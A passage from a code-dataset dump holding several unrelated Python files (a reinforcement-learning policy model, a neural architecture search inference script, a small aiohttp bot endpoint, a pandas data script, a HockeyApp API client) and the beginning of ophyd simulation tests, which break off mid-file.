'done'\n","repo_name":"brantp/rtd","sub_path":"sam_from_clust_uniqued.py","file_name":"sam_from_clust_uniqued.py","file_ext":"py","file_size_in_byte":11916,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"44"} +{"seq_id":"32363789074","text":"import math\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torch.autograd import Variable\nfrom running_stat import ObsNorm\nfrom distributions import Categorical, DiagGaussian\nfrom utils import AddBias\nimport random\nimport numpy as np\n\ndef weights_init(m):\n classname = m.__class__.__name__\n if classname.find('Conv') != -1 or classname.find('Linear') != -1:\n nn.init.orthogonal(m.weight.data)\n if m.bias is not None:\n m.bias.data.fill_(0)\n\n\nclass FFPolicy(nn.Module):\n def __init__(self):\n super(FFPolicy, self).__init__()\n\n def forward(self, x):\n raise NotImplementedError\n\n def act(self, inputs, deterministic=False):\n value, x = self(inputs)\n action = self.dist.sample(x, deterministic=deterministic)\n return value, action\n\n def evaluate_actions(self, inputs, actions):\n value, x = self(inputs)\n action_log_probs, dist_entropy = self.dist.evaluate_actions(x, actions)\n return value, action_log_probs, dist_entropy\n\nclass ProgressivePolicy(FFPolicy):\n def __init__(self, num_inputs, action_space, previous_column, backward):\n super(ProgressivePolicy, self).__init__()\n \n print(\"Do you want backward connection: \", backward)\n self.previous_column = previous_column\n self.conv1 = nn.Conv2d(num_inputs, 32, 8, stride=4, bias=False)\n\n alpha_list = [1, 0.1, 0.01]\n self.alpha1 = nn.Parameter(torch.from_numpy(np.array([random.choice(alpha_list)])).float())\n print(self.alpha1)\n self.alpha2 = nn.Parameter(torch.from_numpy(np.array([random.choice(alpha_list)])).float())\n print(self.alpha2)\n self.alpha3 = nn.Parameter(torch.from_numpy(np.array([random.choice(alpha_list)])).float())\n print(self.alpha2)\n\n if backward:\n self.alpha4 = nn.Parameter(torch.from_numpy(np.array([random.choice(alpha_list)])).float())\n\n #self.V1 = nn.Conv2d(32, 16, 1, stride=1, bias=True)\n self.U1 = nn.Conv2d(32, 32, 3, padding=1, stride=1, bias=True)\n self.U2 = nn.Conv2d(64, 64, 3, padding=1, stride=1, bias=True)\n\n self.ab1 = AddBias(32)\n self.conv2 = nn.Conv2d(32, 64, 4, stride=2, bias=False)\n self.ab2 = AddBias(64)\n self.conv3 = nn.Conv2d(64, 32, 3, stride=1, bias=False)\n self.ab3 = AddBias(32)\n\n self.V3 = nn.Conv2d(32, 8, 1, stride=1, bias=True)\n self.U3 = nn.Linear(8 * 7 * 7, 32*7*7, bias=True)\n\n self.linear1 = nn.Linear(32 * 7 * 7, 512, bias=False)\n self.ab_fc1 = AddBias(512)\n\n self.critic_linear = nn.Linear(512, 1, bias=False)\n self.ab_fc2 = AddBias(1)\n\n if action_space.__class__.__name__ == \"Discrete\":\n num_outputs = action_space.n\n self.dist = Categorical(512, num_outputs)\n elif action_space.__class__.__name__ == \"Box\":\n num_outputs = action_space.shape[0]\n self.dist = DiagGaussian(512, num_outputs)\n else:\n raise NotImplementedError\n\n self.apply(weights_init)\n\n relu_gain = nn.init.calculate_gain('relu')\n self.conv1.weight.data.mul_(relu_gain)\n self.conv2.weight.data.mul_(relu_gain)\n self.conv3.weight.data.mul_(relu_gain)\n self.linear1.weight.data.mul_(relu_gain)\n self.U1.weight.data.mul_(relu_gain)\n\n if action_space.__class__.__name__ == \"Box\":\n self.dist.fc_mean.weight.data.mul_(0.01)\n\n self.train()\n\n def forward(self, inputs):\n self.previous_column.forward(inputs)\n a1 = self.previous_column.layer1 * self.alpha1\n v1 = self.U1(a1)\n v1 = F.relu(v1)\n x = self.conv1(inputs/255.0)\n x = self.ab1(x)\n x = F.relu(x + v1)\n\n x = self.conv2(x)\n x = self.ab2(x)\n \n a2 = self.previous_column.layer2 * self.alpha2\n v2 = self.U2(a2)\n v2 = F.relu(v2)\n\n x = F.relu(x + v2)\n\n x = self.conv3(x)\n x = self.ab3(x)\n\n a3 = self.previous_column.layer3 * self.alpha3\n a3 = self.V3(a3)\n a3 = F.relu(a3)\n a3 = a3.view(-1, 8 * 7 * 7)\n a3 = self.U3(a3)\n \n #x = F.relu(x)\n\n\n x = x.view(-1, 32 * 7 * 7)\n x = F.relu(x + a3)\n x = self.linear1(x)\n x = self.ab_fc1(x)\n x = F.relu(x)\n print(self.alpha1, self.alpha2, self.alpha3)\n\n return self.ab_fc2(self.critic_linear(x)), x\n\n\nclass CNNPolicy(FFPolicy):\n def __init__(self, num_inputs, action_space):\n super(CNNPolicy, self).__init__()\n \n #self.layer1, self.layer2, self.layer3, self.layer4, self.layer5 = None\n self.conv1 = nn.Conv2d(num_inputs, 32, 8, stride=4, bias=False)\n self.ab1 = AddBias(32)\n self.conv2 = nn.Conv2d(32, 64, 4, stride=2, bias=False)\n self.ab2 = AddBias(64)\n self.conv3 = nn.Conv2d(64, 32, 3, stride=1, bias=False)\n self.ab3 = AddBias(32)\n\n self.linear1 = nn.Linear(32 * 7 * 7, 512, bias=False)\n self.ab_fc1 = AddBias(512)\n\n self.critic_linear = nn.Linear(512, 1, bias=False)\n self.ab_fc2 = AddBias(1)\n\n if action_space.__class__.__name__ == \"Discrete\":\n num_outputs = action_space.n\n self.dist = Categorical(512, num_outputs)\n elif action_space.__class__.__name__ == \"Box\":\n num_outputs = action_space.shape[0]\n self.dist = DiagGaussian(512, num_outputs)\n else:\n raise NotImplementedError\n\n self.apply(weights_init)\n\n relu_gain = nn.init.calculate_gain('relu')\n self.conv1.weight.data.mul_(relu_gain)\n self.conv2.weight.data.mul_(relu_gain)\n self.conv3.weight.data.mul_(relu_gain)\n self.linear1.weight.data.mul_(relu_gain)\n\n if action_space.__class__.__name__ == \"Box\":\n self.dist.fc_mean.weight.data.mul_(0.01)\n\n self.train()\n\n def forward(self, inputs):\n x = self.conv1(inputs / 255.0)\n x = self.ab1(x)\n x = F.relu(x)\n self.layer1 = x\n\n x = self.conv2(x)\n x = self.ab2(x)\n x = F.relu(x)\n self.layer2 = x\n\n x = self.conv3(x)\n x = self.ab3(x)\n x = F.relu(x)\n self.layer3 = x\n\n x = x.view(-1, 32 * 7 * 7)\n x = self.linear1(x)\n x = self.ab_fc1(x)\n x = F.relu(x)\n self.layer4 = x\n\n return self.ab_fc2(self.critic_linear(x)), x\n\n\ndef weights_init_mlp(m):\n classname = m.__class__.__name__\n if classname.find('Linear') != -1:\n m.weight.data.normal_(0, 1)\n m.weight.data *= 1 / torch.sqrt(m.weight.data.pow(2).sum(1, keepdim=True))\n if m.bias is not None:\n m.bias.data.fill_(0)\n\n\nclass MLPPolicy(FFPolicy):\n def __init__(self, num_inputs, action_space):\n super(MLPPolicy, self).__init__()\n\n self.obs_filter = ObsNorm((1, num_inputs), clip=5)\n self.action_space = action_space\n\n self.a_fc1 = nn.Linear(num_inputs, 64, bias=False)\n self.a_ab1 = AddBias(64)\n self.a_fc2 = nn.Linear(64, 64, bias=False)\n self.a_ab2 = AddBias(64)\n\n self.v_fc1 = nn.Linear(num_inputs, 64, bias=False)\n self.v_ab1 = AddBias(64)\n self.v_fc2 = nn.Linear(64, 64, bias=False)\n self.v_ab2 = AddBias(64)\n self.v_fc3 = nn.Linear(64, 1, bias=False)\n self.v_ab3 = AddBias(1)\n\n if action_space.__class__.__name__ == \"Discrete\":\n num_outputs = action_space.n\n self.dist = Categorical(64, num_outputs)\n elif action_space.__class__.__name__ == \"Box\":\n num_outputs = action_space.shape[0]\n self.dist = DiagGaussian(64, num_outputs)\n else:\n raise NotImplementedError\n\n self.apply(weights_init_mlp)\n\n tanh_gain = nn.init.calculate_gain('tanh')\n #self.a_fc1.weight.data.mul_(tanh_gain)\n #self.a_fc2.weight.data.mul_(tanh_gain)\n #self.v_fc1.weight.data.mul_(tanh_gain)\n #self.v_fc2.weight.data.mul_(tanh_gain)\n\n if action_space.__class__.__name__ == \"Box\":\n self.dist.fc_mean.weight.data.mul_(0.01)\n\n self.train()\n\n def cuda(self, **args):\n super(MLPPolicy, self).cuda(**args)\n self.obs_filter.cuda()\n\n def cpu(self, **args):\n super(MLPPolicy, self).cpu(**args)\n self.obs_filter.cpu()\n\n def forward(self, inputs):\n inputs.data = self.obs_filter(inputs.data)\n\n x = self.v_fc1(inputs)\n x = self.v_ab1(x)\n x = F.tanh(x)\n\n x = self.v_fc2(x)\n x = self.v_ab2(x)\n x = F.tanh(x)\n\n x = self.v_fc3(x)\n x = self.v_ab3(x)\n value = x\n\n x = self.a_fc1(inputs)\n x = self.a_ab1(x)\n x = F.tanh(x)\n\n x = self.a_fc2(x)\n x = self.a_ab2(x)\n x = F.tanh(x)\n\n return value, x\n","repo_name":"parthchadha/progressive_transfer","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":8844,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"11881198335","text":"import os\r\nimport sys\r\nimport time\r\nimport glob\r\nimport numpy as np\r\nimport torch\r\nimport utils\r\nimport json\r\nimport logging\r\nimport argparse\r\nimport torch.nn as nn\r\nimport torch.utils\r\nimport torch.nn.functional as F\r\nimport torchvision.datasets as dset\r\nimport torch.backends.cudnn as cudnn\r\nimport pandas as pd\r\nfrom sklearn.model_selection import train_test_split\r\nimport torch.utils.data as Data\r\n\r\nfrom torch.autograd import Variable\r\nfrom model_search import Network\r\nfrom architect import Architect\r\nfrom HYFJ_imbalance_noise_pkl import HYFJ_class_num, pkl_to_tensorset\r\n# from UoC_Dataset import UoC_class_num, UoC_DATASET\r\n# from TNdataset_V2 import TN_train_set, TN_class_num\r\nfrom distribution import GaussianVariational, ScaleMixturePrior\r\nimport visdom\r\n\r\nparser = argparse.ArgumentParser(\"cifar\")\r\nparser.add_argument('--data', type=str, default='../data', help='location of the data corpus')\r\nparser.add_argument('--valid_set_path', type=str, default='../data/HYFJ-validwithout-noise.pkl', help='location of the data corpus')\r\nparser.add_argument('--batch_size', type=int, default=32, help='batch size')\r\nparser.add_argument('--learning_rate', type=float, default=0.02, help='init learning rate')\r\nparser.add_argument('--learning_rate_min', type=float, default=0.001, help='min learning rate')\r\nparser.add_argument('--momentum', type=float, default=0.9, help='momentum')\r\nparser.add_argument('--weight_decay', type=float, default=3e-4, help='weight decay')\r\nparser.add_argument('--report_freq', type=float, default=50, help='report frequency')\r\nparser.add_argument('--gpu', type=int, default=1, help='gpu device id')\r\nparser.add_argument('--epochs', type=int, default=3, help='num of training epochs')\r\nparser.add_argument('--init_channels', type=int, default=1, help='num of init channels')\r\nparser.add_argument('--layers', type=int, default=8, help='total number of layers')\r\nparser.add_argument('--model_path', type=str, default='saved_models', help='path to save the model')\r\nparser.add_argument('--super_model', type=str, default='hyper-network-EXP-20201106-174803/just_train_weights-149.pt', help='path of super model')\r\n# search-EXP-20200916-191330/just_train_weights-149.pt\r\n# search-EXP-20200917-161950/search_phase_weights-29.pt\r\nparser.add_argument('--super_alpha', type=str, default='evaluator-EXP-20201107-092043/plot_alpha_trend/', help='path of alpha')\r\nparser.add_argument('--cutout', action='store_true', default=False, help='use cutout')\r\nparser.add_argument('--cutout_length', type=int, default=16, help='cutout length')\r\nparser.add_argument('--drop_path_prob', type=float, default=0.3, help='drop path probability')\r\nparser.add_argument('--save', type=str, default='EXP', help='experiment name')\r\nparser.add_argument('--seed', type=int, default=2, help='random seed')\r\nparser.add_argument('--grad_clip', type=float, default=5, help='gradient clipping')\r\nparser.add_argument('--train_portion', type=float, default=0.5, help='portion of training data')\r\nparser.add_argument('--unrolled', action='store_true', default=False, help='use one-step unrolled validation loss')\r\nparser.add_argument('--arch_learning_rate', type=float, default=3e-3, help='learning rate for arch encoding')\r\nparser.add_argument('--arch_weight_decay', type=float, default=1e-3, help='weight decay for arch encoding')\r\nparser.add_argument('--just_train', type=int, default=1, help='pure train')\r\nparser.add_argument('--sample_num', type=int, default=1, help='posterior sample')\r\nparser.add_argument('--epoch_flag', action='store_true', default=True, help='alpha sample flag')\r\nparser.add_argument('--arch_infer', type=int, default=2000, help='forward inference to pick the top architecture set')\r\nparser.add_argument('--arch_ensemble', type=int, default=10, help='child model set')\r\nparser.add_argument('--init_alphas', action='store_true', default=True, help='init alphas')\r\nparser.add_argument('--drop_weights_prob', type=float, default=0.3, help='drop weights probability during -just_train-')\r\nparser.add_argument('--train_before_drop', action='store_true', default=True, help='alpha sample flag')\r\nparser.add_argument('--path_weights_flag', action='store_true', default=False, help='alpha dropout flag')\r\nparser.add_argument('--epoch_before_drop', type=int, default=20, help='pure train')\r\nargs = parser.parse_args()\r\n\r\nargs.save = 'sampling_arch-{}-{}'.format(args.save, time.strftime(\"%Y%m%d-%H%M%S\"))\r\nutils.create_exp_dir(args.save, scripts_to_save=glob.glob('*.py'))\r\n\r\nlog_format = '%(asctime)s %(message)s'\r\nlogging.basicConfig(stream=sys.stdout, level=logging.INFO,\r\n format=log_format, datefmt='%m/%d %I:%M:%S %p')\r\nfh = logging.FileHandler(os.path.join(args.save, 'log.txt'))\r\nfh.setFormatter(logging.Formatter(log_format))\r\nlogging.getLogger().addHandler(fh)\r\n\r\n\r\nCIFAR_CLASSES = HYFJ_class_num\r\ndevice = torch.device(\"cuda\")\r\n\r\n\r\nviz = visdom.Visdom()\r\n\r\n###################################3\r\n\r\ndef main():\r\n if not torch.cuda.is_available():\r\n logging.info('no gpu device available')\r\n sys.exit(1)\r\n\r\n np.random.seed(args.seed)\r\n torch.cuda.set_device(args.gpu)\r\n cudnn.benchmark = True\r\n torch.manual_seed(args.seed)\r\n cudnn.enabled = True\r\n torch.cuda.manual_seed(args.seed)\r\n logging.info('gpu device = %d' % args.gpu)\r\n logging.info(\"args = %s\", args)\r\n\r\n criterion = nn.CrossEntropyLoss()\r\n criterion = criterion.cuda()\r\n model = Network(args.init_channels*8, CIFAR_CLASSES, args.layers, criterion, epoch_flag=args.epoch_flag,\r\n init_alphas=args.init_alphas, drop_alpha_prob=args.drop_weights_prob,\r\n TRIAN_before_drop=args.train_before_drop, path_weights_flag=args.path_weights_flag)\r\n # print(model.classifier.weight)\r\n model = model.to(device)\r\n utils.load(model, args.super_model)\r\n # print(model.classifier.weight)\r\n logging.info(\"param size = %fMB\", utils.count_parameters_in_MB(model))\r\n\r\n UoC_validset = pkl_to_tensorset(args.valid_set_path)\r\n valid_len = len(UoC_validset)\r\n valid_queue = torch.utils.data.DataLoader(\r\n UoC_validset, batch_size=args.batch_size,\r\n sampler=torch.utils.data.sampler.SubsetRandomSampler(np.random.choice(range(len(UoC_validset)), valid_len)),\r\n pin_memory=True, num_workers=0)\r\n\r\n # ----------------update the alpha mu and rho------------------------\r\n temp_a = open(args.super_alpha + 'Alphas_normal_mu.txt', 'r', encoding='UTF-8')\r\n alphas_a = json.loads(temp_a.read())\r\n alphas_a = np.array(alphas_a)\r\n alphas_normal_mu = Variable(torch.from_numpy(np.float32(alphas_a[-1:, :, :])).squeeze(0).cuda(), requires_grad=False)\r\n model.alphas_normal_mu = alphas_normal_mu\r\n\r\n temp_b = open(args.super_alpha + 'Alphas_normal_rho.txt', 'r', encoding='UTF-8')\r\n alphas_b = json.loads(temp_b.read())\r\n alphas_b = np.array(alphas_b)\r\n alphas_normal_rho = Variable(torch.from_numpy(np.float32(alphas_b[-1:, :, :])).squeeze(0).cuda(), requires_grad=False)\r\n model.alphas_normal_rho = alphas_normal_rho\r\n\r\n temp_c = open(args.super_alpha + 'Alphas_reduce_mu.txt', 'r', encoding='UTF-8')\r\n alphas_c = json.loads(temp_c.read())\r\n alphas_c = np.array(alphas_c)\r\n alphas_reduce_mu = Variable(torch.from_numpy(np.float32(alphas_c[-1:, :, :])).squeeze(0).cuda(), requires_grad=False)\r\n model.alphas_reduce_mu = alphas_reduce_mu\r\n\r\n temp_d = open(args.super_alpha + 'Alphas_reduce_rho.txt', 'r', encoding='UTF-8')\r\n alphas_d = json.loads(temp_d.read())\r\n alphas_d = np.array(alphas_d)\r\n alphas_reduce_rho = Variable(torch.from_numpy(np.float32(alphas_d[-1:, :, :])).squeeze(0).cuda(), requires_grad=False)\r\n model.alphas_reduce_rho = alphas_reduce_rho\r\n # ---------------------------------------------------------------------\r\n model.normal_weight_sampler = GaussianVariational(alphas_normal_mu, alphas_normal_rho)\r\n model.reduce_weight_sampler = GaussianVariational(alphas_reduce_mu, alphas_reduce_rho)\r\n\r\n # start to inference arch\r\n logging.info('start to inference architecture set: sample_num %d set_num %d', args.arch_infer, args.arch_ensemble)\r\n viz.line([0], [-1], win='infer_acc', opts=dict(title='infer_acc'))\r\n viz.line([0], [-1], win='spareness', opts=dict(title='spareness'))\r\n viz.line([0], [-1], win='cosine', opts=dict(title='cosine'))\r\n viz.line([0], [-1], win='pearson', opts=dict(title='pearson'))\r\n geno_set = []\r\n arch_infer_acc_list = []\r\n # arch_uncertainty_metric_list = []\r\n arch_alpha_spareness_list = []\r\n alphas_similarity_cosine_list = []\r\n alphas_similarity_pearson_list = []\r\n print(model.alphas_normal_mu)\r\n print(model.alphas_normal_rho)\r\n # model._epoch_flag = True\r\n for i in range(args.arch_infer):\r\n print('==========================================================')\r\n inference_normal_weights_sample = model.normal_weight_sampler.sample() # sample()\r\n inference_reduce_weights_sample = model.reduce_weight_sampler.sample() # sample()\r\n model._get_normal_weights = inference_normal_weights_sample\r\n model._get_reduce_weights = inference_reduce_weights_sample\r\n\r\n logging.info('iter of arch_infer %d', i)\r\n arch_infer_acc, arch_infer_obj = arch_infer(valid_queue, model, criterion)\r\n logging.info('arch_infer_acc %f', arch_infer_acc)\r\n arch_infer_acc_list.append(arch_infer_acc)\r\n viz.line([arch_infer_acc], [i], win='infer_acc', update='append')\r\n\r\n alphas_similarity_cosine, alphas_similarity_pearson = utils.alphas_similarity(inference_normal_weights_sample, alphas_normal_mu,\r\n inference_reduce_weights_sample, alphas_reduce_mu)\r\n logging.info('alphas_similarity_cosine %f', alphas_similarity_cosine)\r\n alphas_similarity_cosine_list.append(alphas_similarity_cosine)\r\n viz.line([alphas_similarity_cosine], [i], win='cosine', update='append')\r\n logging.info('alphas_similarity_pearson %f', alphas_similarity_pearson)\r\n alphas_similarity_pearson_list.append(alphas_similarity_pearson)\r\n viz.line([alphas_similarity_pearson], [i], win='pearson', update='append')\r\n\r\n arch_alpha_spareness = utils.alphas_sparse(inference_normal_weights_sample, inference_reduce_weights_sample)\r\n logging.info('alpha_spareness %f', arch_alpha_spareness)\r\n arch_alpha_spareness_list.append(arch_alpha_spareness)\r\n viz.line([arch_alpha_spareness], [i], win='spareness', update='append')\r\n print(model._get_normal_weights)\r\n print(model._get_reduce_weights)\r\n\r\n # logging.info('sample_normal_weights %s', model._get_noraml_weights)\r\n # logging.info('sample_reduce_weights %s', model._get_reduce_weights)\r\n infer_geno = model.infer_genotype()\r\n geno_set.append(infer_geno)\r\n logging.info('infer_geno = %s', infer_geno)\r\n arch_ensamble_set_df = pd.DataFrame({'infer_acc': arch_infer_acc_list, 'infer_geno': geno_set,\r\n 'alphas_similarity_cosine': alphas_similarity_cosine_list,\r\n 'alphas_similarity_pearson': alphas_similarity_pearson_list,\r\n 'alpha_spareness': arch_alpha_spareness_list})\r\n df_save_path = '../arch_inference/arch_set-' + time.strftime(\"%Y%m%d-%H%M%S\") + '.csv'\r\n arch_ensamble_set_df.to_csv(df_save_path, index=None)\r\n\r\ndef arch_infer(valid_queue, model, criterion):\r\n objs = utils.AvgrageMeter()\r\n top1 = utils.AvgrageMeter()\r\n top5 = utils.AvgrageMeter()\r\n with torch.no_grad():\r\n model.eval()\r\n for step, (input, target) in enumerate(valid_queue):\r\n input = input.to(device)\r\n target = target.to(device)\r\n # print(input)\r\n # print(target)\r\n\r\n logits = model.forward_arch_infer(input)\r\n # print(logits)\r\n loss = criterion(logits, target)\r\n\r\n prec1, prec5 = utils.accuracy(logits, target, topk=(1, 2))\r\n # print(prec1)\r\n # print(prec5)\r\n n = input.size(0)\r\n objs.update(loss.item(), n)\r\n top1.update(prec1.item(), n)\r\n top5.update(prec5.item(), n)\r\n\r\n if step % args.report_freq == 0:\r\n logging.info('test %03d %e %f %f', step, objs.avg, top1.avg, top5.avg)\r\n\r\n return top1.avg, objs.avg\r\n\r\n\r\n\r\nif __name__ == '__main__':\r\n main()","repo_name":"shuangjian24/Bayesian_Differentiable_Architecture_Search_for_Fault_Diagnosis","sub_path":"inferenc_bayesian_sample.py","file_name":"inferenc_bayesian_sample.py","file_ext":"py","file_size_in_byte":12111,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"44"} +{"seq_id":"7643132634","text":"from __future__ import annotations\n\nfrom typing import TYPE_CHECKING\n\nif TYPE_CHECKING:\n from .bot import Dwello\n\nfrom aiohttp import web\n\n#from utils import ENV, DataBaseOperations, Twitch # noqa: F401, E402\n\n# REDO\n\n\nclass AiohttpWeb:\n def __init__(self, bot: Dwello) -> None:\n self.bot = bot\n self.app: web.Application = web.Application()\n self.app.router.add_post(\"/api/post\", self.handle_post)\n\n async def handle_post(self, request):\n print(request)\n data = await request.json()\n print(data)\n\n await self.bot.twitch.twitch_to_discord(data)\n return web.json_response({\"message\": f\"data received by aiohttp: {data}\"})\n\n async def run(self, port: int = 8081):\n runner = web.AppRunner(self.app)\n await runner.setup()\n site = web.TCPSite(runner, \"localhost\", port)\n\n try:\n await self.bot.loop.create_task(site.start())\n\n except Exception as e:\n print(f\"Failed to start web server: {e}\")\n\n\n","repo_name":"DwellerIsTaken/discordbot","sub_path":"core/web.py","file_name":"web.py","file_ext":"py","file_size_in_byte":1015,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"34"} +{"seq_id":"35723617704","text":"import os\n\nimport pandas as pd\n\n# Import variable with the absolute path os the project, to ensure code portability\nfrom Job_desafio_modulo_5.config.definitions import ROOT_DIR\n\n\ndef transform_data():\n\n # loading data to be merged and transformed\n orders = pd.read_csv(os.path.join(ROOT_DIR, 'outputs', 'output_orders.csv'))\n order_details = pd.read_csv(os.path.join(ROOT_DIR, 'outputs', 'output_order_details.csv'))\n\n # creating a column OrderId as type object to be used as key of the join\n orders['OrderId'] = orders['Id'].astype('object')\n \n\n joined_data = order_details.merge(orders, how='left', on='OrderId')\n\n # Filtering to get only the data of interest (in this case, all orders shipped to Rio de Janeiro)\n filtered_data = joined_data[joined_data['ShipCity']=='Rio de Janeiro']['Quantity'].sum()\n\n # saving the result in the .csv file. using os.path.join makes sure the result path is compatible with multiple OS\n with open(os.path.join(ROOT_DIR, 'outputs', 'count.txt'), 'w') as file:\n file.write(str(filtered_data))\n\ntransform_data()\n\n\n","repo_name":"hbeltrao/lighthouse-desafio-data-eng","sub_path":"scripts/transform_data.py","file_name":"transform_data.py","file_ext":"py","file_size_in_byte":1088,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"35429877770","text":"\"\"\"\nImplements an object for calling the CrashLog and Description API\n\n\"\"\"\n__author__ = 'Gavin M. Roy'\n__email__ = 'gmr@myyearbook.com'\n__since__ = '2011-09-13'\n\nfrom . import api\n\nclass CrashLog(api.APIRequest):\n \"\"\"This API lets you query a single crash log or description.\"\"\"\n\n def __init__(self, api_key, app_id, crash_id, format='log'):\n \"\"\"Create the CrashLog request object.\n\n :param api_key: HockeyApp API key\n :type api_key: str\n :param app_id: The HockeyApp Application Identifier\n :type api_key: str\n :param crash_id: The HocketApp Crash ID\n :type crash_id: str\n :param format: The response format (log/text)\n :type format: str\n\n \"\"\"\n api.APIRequest.__init__(self, api_key)\n self._key = 'crash'\n self._app_id = app_id\n self._crash_id = crash_id\n self._format = format\n\n @property\n def parameters(self):\n \"\"\"Returns the request parameters\n\n :returns: dict\n\n \"\"\"\n return {'format': self._format}\n\n @property\n def path(self):\n \"\"\"Returns the request path\n\n :returns: str\n\n \"\"\"\n return api.BASE_URI + 'apps/%s/crashes/%s' % \\\n (self._app_id, self._crash_id)\n","repo_name":"gmr/hockeyapp","sub_path":"hockeyapp/crashlog.py","file_name":"crashlog.py","file_ext":"py","file_size_in_byte":1273,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"34"} +{"seq_id":"17870259857","text":"import shutil\nimport tempfile\nfrom typing import Callable\n\nimport numpy as np\nimport pytest\n\nfrom ophyd.areadetector.base import EpicsSignalWithRBV\nfrom ophyd.areadetector.paths import EpicsPathSignal\nfrom ophyd.device import Component as Cpt\nfrom ophyd.device import Device\nfrom ophyd.device import DynamicDeviceComponent as DDCpt\nfrom ophyd.device import FormattedComponent as FCpt\nfrom ophyd.signal import EpicsSignal, EpicsSignalRO, Signal\nfrom ophyd.sim import (\n FakeEpicsPathSignal,\n FakeEpicsSignal,\n FakeEpicsSignalRO,\n FakeEpicsSignalWithRBV,\n Syn2DGauss,\n SynAxis,\n SynAxisEmptyHints,\n SynAxisNoHints,\n SynAxisNoPosition,\n SynGauss,\n SynSignalWithRegistry,\n clear_fake_device,\n instantiate_fake_device,\n make_fake_device,\n)\nfrom ophyd.utils import DisconnectedError, LimitError, ReadOnlyError\n\n\ndef test_random_state_gauss1d():\n \"\"\"With given random state, the output value should stay the same.\n Test performs on 1D gaussian.\n \"\"\"\n dlist = []\n motor = SynAxis(name=\"motor\")\n for i in range(2):\n s = np.random.RandomState(0)\n noisy_det = SynGauss(\n \"noisy_det\",\n motor,\n \"motor\",\n center=0,\n Imax=1,\n noise=\"uniform\",\n sigma=1,\n noise_multiplier=0.1,\n random_state=s,\n )\n noisy_det.trigger()\n d = noisy_det.read()[\"noisy_det\"][\"value\"]\n dlist.append(d)\n assert dlist[0] == dlist[1]\n\n # Without random state, output will be different.\n dlist.clear()\n for i in range(2):\n noisy_det = SynGauss(\n \"noisy_det\",\n motor,\n \"motor\",\n center=0,\n Imax=1,\n noise=\"uniform\",\n sigma=1,\n noise_multiplier=0.1,\n )\n noisy_det.trigger()\n d = noisy_det.read()[\"noisy_det\"][\"value\"]\n dlist.append(d)\n assert dlist[0] != dlist[1]\n\n\ndef test_random_state_gauss2d():\n \"\"\"With given random state, the output value should stay the same.\n Test performs on 2D gaussian.\n \"\"\"\n dlist = []\n motor1 = SynAxis(name=\"motor1\")\n motor2 = SynAxis(name=\"motor2\")\n for i in range(2):\n s = np.random.RandomState(0)\n noisy_det = Syn2DGauss(\n \"noisy_det\",\n motor1,\n \"motor1\",\n motor2,\n \"motor2\",\n center=(0, 0),\n Imax=1,\n noise=\"uniform\",\n sigma=1,\n noise_multiplier=0.1,\n random_state=s,\n )\n noisy_det.trigger()\n d = noisy_det.read()[\"noisy_det\"][\"value\"]\n dlist.append(d)\n assert dlist[0] == dlist[1]\n\n\n@pytest.mark.parametrize(\"events_per_move\", [0, -1, -10])\ndef test_synaxis_requires_at_least_1_event_per_move(events_per_move):\n with pytest.raises(ValueError):\n SynAxis(name=\"motor1\", events_per_move=0)\n\n\n@pytest.mark.parametrize(\n \"motor_factory\",\n [\n lambda: SynAxis(name=\"motor\", value=0.0),\n lambda: SynAxisEmptyHints(name=\"motor\", value=0.0),\n lambda: SynAxisNoHints(name=\"motor\", value=0.0),\n lambda: SynAxisNoPosition(name=\"motor\", value=0.0),\n ],\n)\ndef test_move_synaxis(motor_factory: Callable[[], SynAxis]):\n # Test is run twice, once for caproto and once for pyepics, so we need a\n # factory rather than a global object to preserve state management\n motor = motor_factory()\n\n initial_value = motor.readback.get()\n motor.set(1.0).wait()\n final_value = motor.readback.get()\n\n assert initial_value == 0.0\n assert final_value == 1.0\n\n\ndef test_synaxisnoposition_has_no_position():\n motor = SynAxisNoPosition(name=\"motor\", labels={\"motors\"})\n with pytest.raises(AttributeError):\n motor.position\n\n\n@pytest.mark.parametrize(\"events_per_move\", [1, 2, 6, 20])\ndef test_synaxis_subcribe(events_per_move: int):\n hits = dict.fromkeys([\"r\", \"s\", \"a\"], 0)\n vals = dict.fromkeys([\"r\", \"s\", \"a\"], None)\n\n def p1(tar, value):\n hits[tar] += 1\n vals[tar] = value\n\n motor = SynAxis(name=\"motor1\", events_per_move=events_per_move)\n # prime the cb cache so these run an subscription\n motor.set(0)\n motor.subscribe(lambda *, value, _tar=\"a\", **kwargs: p1(_tar, value))\n motor.readback.subscribe(lambda *, value, _tar=\"r\", **kwargs: p1(_tar, value))\n motor.setpoint.subscribe(lambda *, value, _tar=\"s\", **kwargs: p1(_tar, value))\n\n assert vals[\"r\"] == motor.readback.get()\n assert vals[\"a\"] == motor.readback.get()\n assert vals[\"s\"] == motor.setpoint.get()\n\n assert all(v == 1 for v in hits.values())\n\n motor.set(1)\n\n assert vals[\"r\"] == motor.readback.get()\n assert vals[\"a\"] == motor.readback.get()\n assert vals[\"s\"] == motor.setpoint.get()\n\n assert hits[\"r\"] == 1 + events_per_move\n assert hits[\"a\"] == 1 + events_per_move\n assert hits[\"s\"] == 2\n\n\ndef test_synaxis_timestamps():\n import time\n\n from ophyd.status import wait\n\n def time_getter(m):\n return {k: v[\"timestamp\"] for k, v in m.read().items()}\n\n def tester(m, orig_time):\n new_time = time_getter(m)\n assert orig_time != new_time\n return new_time\n\n motor = SynAxis(name=\"motor1\")\n motor.delay = 0.01\n orig_time = time_getter(motor)\n\n wait(motor.set(3))\n orig_time = tester(motor, orig_time)\n\n wait(motor.setpoint.set(4))\n orig_time = tester(motor, orig_time)\n\n motor.setpoint.put(3)\n time.sleep(2 * motor.delay)\n orig_time = tester(motor, orig_time)\n\n\n# Classes for testing make_fake_device\nclass SampleNested(Device):\n yolk = Cpt(EpicsSignal, \":YOLK\", string=True)\n whites = Cpt(EpicsSignalRO, \":WHITES\")\n\n\nclass Sample(Device):\n egg = Cpt(SampleNested, \":EGG\")\n butter = Cpt(\n EpicsSignal,\n \":BUTTER\",\n timeout=10.0,\n 